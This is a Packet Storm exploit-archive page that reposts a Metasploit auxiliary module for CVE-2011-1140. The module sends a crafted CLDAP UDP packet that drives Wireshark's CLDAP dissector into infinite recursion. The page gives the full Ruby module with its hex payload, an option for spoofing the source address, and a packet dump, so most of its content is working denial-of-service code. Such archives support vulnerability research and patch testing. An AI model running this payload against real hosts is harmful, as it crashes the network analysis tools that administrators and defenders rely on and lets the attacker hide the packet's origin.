what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Wireshark CLDAP Dissector Denial of Service

Wireshark CLDAP Dissector Denial of Service
Posted Aug 31, 2024
Authored by joernchen | Site metasploit.com

This Metasploit module causes infinite recursion to occur within the CLDAP dissector by sending a specially crafted UDP packet.

tags | exploit, udp
advisories | CVE-2011-1140
SHA-256 | 568ad7595459e481f0c75d26d5fcb1a38e0afde404c8592524a0292daf4d8f48

Wireshark CLDAP Dissector Denial of Service

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Udp
include Msf::Auxiliary::Dos

def initialize(info = {})
super( update_info(info,
'Name' => 'Wireshark CLDAP Dissector DOS',
'Description' => %q{
This module causes infinite recursion to occur within the
CLDAP dissector by sending a specially crafted UDP packet.
},
'Author' => ['joernchen <joernchen[at]phenoelit.de> (Phenoelit)'],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2011-1140'],
[ 'OSVDB', '71552'],
[ 'URL', 'https://www.wireshark.org/security/wnpa-sec-2011-04.html' ],
[ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5717' ],
],
'DisclosureDate' => '2011-03-01'))

register_options([
OptInt.new('RPORT', [true, 'The destination port', 389]),
OptAddress.new('SHOST', [false, 'This option can be used to specify a spoofed source address', nil])
])
end

def run
connect_udp
cldap_payload = "\x30\x81\xa2\x02\x01\x01\x64\x81\x9c\x04\x00\x30\x81\x97\x30\x81"+
"\x94\x04\x08\x6e\x65\x74\x6c\x6f\x67\x6f\x6e\x31\x81\x87\x04\x81"+
"\x84\x17\x00\x00\x00\xfd\x03\x00\x00\xda\xae\x52\xd0\x2f\xb4\xa9"+
"\x48\x8b\x16\x4e\xbc\x51\xf9\x60\xb4\xc0\x1a\xc0\x18\x0e\x63\x6f"+
"\x6e\x74\x61\x63\x74\x2d\x73\x61\x6d\x62\x61\x34\xc0\x18\x0a\x43"+
"\x4f\x4e\x54\x41\x43\x54\x44\x4f\x4d\x00\x10\x5c\x5c\x43\x4f\x4e"+
"\x54\x41\x43\x54\x2d\x53\x41\x4d\x42\x41\x34\x00\x00\x00\x00\xc0"+
"\x61\x05\x00\x00\x00\xff\xff\xff\xff\x30\x0c\x02\x01\x01\x65\x07"+
"\x0a\x01\x00\x04\x00\x04\x00"
print_status("Sending malformed CLDAP packet to #{rhost}")
udp_sock.put(cldap_payload)
end
end
=begin
Packet Dump:
0000050: b054 3081 a202 0101 6481 9c04 0030 8197 .T0.....d....0..
0000060: 3081 9404 086e 6574 6c6f 676f 6e31 8187 0....netlogon1..
0000070: 0481 8417 0000 00fd 0300 00da ae52 d02f .............R./
0000080: b4a9 488b 164e bc51 f960 b4c0 1ac0 180e ..H..N.Q.`......
0000090: 636f 6e74 6163 742d 7361 6d62 6134 c018 contact-samba4..
00000a0: 0a43 4f4e 5441 4354 444f 4d00 105c 5c43 .CONTACTDOM..\\C
00000b0: 4f4e 5441 4354 2d53 414d 4241 3400 0000 ONTACT-SAMBA4...
00000c0: 00c0 6105 0000 00ff ffff ff30 0c02 0101 ..a........0....
00000d0: 6507 0a01 0004 0004 00 e........
=end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close